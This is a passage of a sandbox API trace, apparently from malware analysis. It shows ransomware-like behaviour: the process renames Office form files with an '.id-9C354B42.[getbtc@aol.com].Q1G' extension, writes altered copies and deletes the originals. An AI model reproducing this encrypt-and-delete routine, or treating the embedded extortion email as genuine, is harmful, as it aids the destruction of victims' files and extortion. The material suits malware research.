lpString2="ICO") returned -1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".dbf") returned 4 [0262.595] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.596] lstrlenW (lpString=".1cd") returned 4 [0262.596] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.596] lstrlenW (lpString=".jpg") returned 4 [0262.596] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.596] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.596] lstrlenW (lpString="POST.CFG") returned 8 [0262.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.596] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=777) returned 1 [0262.596] CloseHandle (hObject=0x39c) returned 1 [0262.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 0x20 [0262.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.597] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.597] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.598] GetLastError () returned 0x0 [0262.598] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x309, lpOverlapped=0x0) returned 1 [0262.612] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x310, lpOverlapped=0x0) returned 1 [0262.613] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.613] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.613] SetEndOfFile (hFile=0x1bc) returned 1 [0262.613] CloseHandle (hObject=0x1bc) returned 1 [0262.613] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.613] SetEndOfFile (hFile=0x39c) returned 1 [0262.615] CloseHandle (hObject=0x39c) returned 1 [0262.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 1 [0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.701] lstrlenW (lpString=".doc") returned 4 [0262.701] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.701] lstrlenW (lpString=".docx") returned 5 [0262.701] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.701] lstrlenW (lpString=".pdf") returned 4 [0262.701] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.701] lstrlenW (lpString=".xls") returned 4 [0262.701] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".xlsx") returned 5 [0262.702] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.702] lstrlenW (lpString=".ppt") returned 4 [0262.702] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString=".zip") returned 4 [0262.702] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".rar") returned 4 [0262.702] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".bz2") returned 4 [0262.702] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.702] lstrlenW (lpString=".7z") returned 3 [0262.702] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString=".dbf") returned 4 [0262.702] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString=".1cd") returned 4 [0262.702] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString=".jpg") returned 4 [0262.702] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.702] lstrlenW (lpString=".doc") returned 4 [0262.702] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".docx") returned 5 [0262.702] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.702] lstrlenW (lpString=".pdf") returned 4 [0262.702] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".xls") returned 4 [0262.702] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.702] lstrlenW (lpString=".xlsx") returned 5 [0262.702] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.702] lstrlenW (lpString=".ppt") returned 4 [0262.703] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.703] lstrlenW (lpString=".zip") returned 4 [0262.703] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.703] lstrlenW (lpString=".rar") returned 4 [0262.703] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.703] lstrlenW (lpString=".bz2") returned 4 [0262.703] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.703] lstrlenW (lpString=".7z") returned 3 [0262.703] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.703] lstrlenW (lpString=".dbf") returned 4 [0262.703] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.703] lstrlenW (lpString=".1cd") returned 4 [0262.703] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0262.703] lstrlenW (lpString=".jpg") returned 4 [0262.703] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.703] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.703] lstrlenW (lpString="RECL.ICO") returned 8 [0262.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.704] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0262.704] CloseHandle (hObject=0x1b8) returned 1 [0262.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 0x20 [0262.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.704] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.704] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.718] GetLastError () returned 0x0 [0262.718] ReadFile (in: hFile=0x1b8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0262.732] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.733] ReadFile (in: hFile=0x1b8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.733] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.733] SetEndOfFile (hFile=0x3dc) returned 1 [0262.734] CloseHandle (hObject=0x3dc) returned 1 [0262.734] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.734] SetEndOfFile (hFile=0x1b8) returned 1 [0262.736] CloseHandle (hObject=0x1b8) returned 1 [0262.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 1 [0262.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.898] lstrlenW (lpString=".doc") returned 4 [0262.899] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.899] lstrlenW (lpString=".docx") returned 5 [0262.899] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.899] lstrlenW (lpString=".pdf") returned 4 [0262.899] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString=".xls") returned 4 [0262.899] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString=".xlsx") returned 5 [0262.899] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.899] lstrlenW (lpString=".ppt") returned 4 [0262.899] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString=".zip") returned 4 [0262.899] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString=".rar") returned 4 [0262.899] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString=".bz2") returned 4 [0262.899] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.899] lstrlenW (lpString=".7z") returned 3 [0262.899] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString=".dbf") returned 4 [0262.899] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString=".1cd") returned 4 [0262.899] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString=".jpg") returned 4 [0262.899] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.899] lstrlenW (lpString=".doc") returned 4 [0262.899] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.899] lstrlenW (lpString=".docx") returned 5 [0262.899] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.899] lstrlenW (lpString=".pdf") returned 4 [0262.900] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.900] lstrlenW (lpString=".xls") returned 4 [0262.900] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.900] lstrlenW (lpString=".xlsx") returned 5 [0262.900] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.900] lstrlenW (lpString=".ppt") returned 4 [0262.900] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.900] lstrlenW (lpString=".zip") returned 4 [0262.900] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.900] lstrlenW (lpString=".rar") returned 4 [0262.900] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.900] lstrlenW (lpString=".bz2") returned 4 [0262.900] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.900] lstrlenW (lpString=".7z") returned 3 [0262.900] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.900] lstrlenW (lpString=".dbf") returned 4 [0262.900] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.900] lstrlenW (lpString=".1cd") returned 4 [0262.900] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0262.900] lstrlenW (lpString=".jpg") returned 4 [0262.900] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.900] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.900] lstrlenW (lpString="REPORT.CFG") returned 10 [0262.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.901] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=781) returned 1 [0262.901] CloseHandle (hObject=0x3a0) returned 1 [0262.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 0x20 [0262.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.901] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.901] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.902] GetLastError () returned 0x0 [0262.902] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x30d, lpOverlapped=0x0) returned 1 [0262.913] WriteFile (in: hFile=0x1c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x310, lpOverlapped=0x0) returned 1 [0262.914] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.914] WriteFile (in: hFile=0x1c0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.914] SetEndOfFile (hFile=0x1c0) returned 1 [0262.914] CloseHandle (hObject=0x1c0) returned 1 [0262.914] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.914] SetEndOfFile (hFile=0x3a0) returned 1 [0262.916] CloseHandle (hObject=0x3a0) returned 1 [0262.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 1 [0263.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.005] lstrlenW (lpString=".doc") returned 4 [0263.005] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.005] lstrlenW (lpString=".docx") returned 5 [0263.005] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0263.005] lstrlenW (lpString=".pdf") returned 4 [0263.006] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString=".xls") returned 4 [0263.006] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString=".xlsx") returned 5 [0263.006] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0263.006] lstrlenW (lpString=".ppt") returned 4 [0263.006] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString=".zip") returned 4 [0263.006] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString=".rar") returned 4 [0263.006] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString=".bz2") returned 4 [0263.006] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.006] lstrlenW (lpString=".7z") returned 3 [0263.006] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString=".dbf") returned 4 [0263.006] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString=".1cd") returned 4 [0263.006] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString=".jpg") returned 4 [0263.006] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.006] lstrlenW (lpString=".doc") returned 4 [0263.007] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString=".docx") returned 5 [0263.007] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0263.007] lstrlenW (lpString=".pdf") returned 4 [0263.007] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString=".xls") returned 4 [0263.007] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString=".xlsx") returned 5 [0263.007] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0263.007] lstrlenW (lpString=".ppt") returned 4 [0263.007] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.007] lstrlenW (lpString=".zip") returned 4 [0263.007] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString=".rar") returned 4 [0263.007] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString=".bz2") returned 4 [0263.007] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.007] lstrlenW (lpString=".7z") returned 3 [0263.007] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.007] lstrlenW (lpString=".dbf") returned 4 [0263.007] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.007] lstrlenW (lpString=".1cd") returned 4 [0263.007] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0263.007] lstrlenW (lpString=".jpg") returned 4 [0263.007] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.007] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.007] lstrlenW (lpString="REPORTS.ICO") returned 11 [0263.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 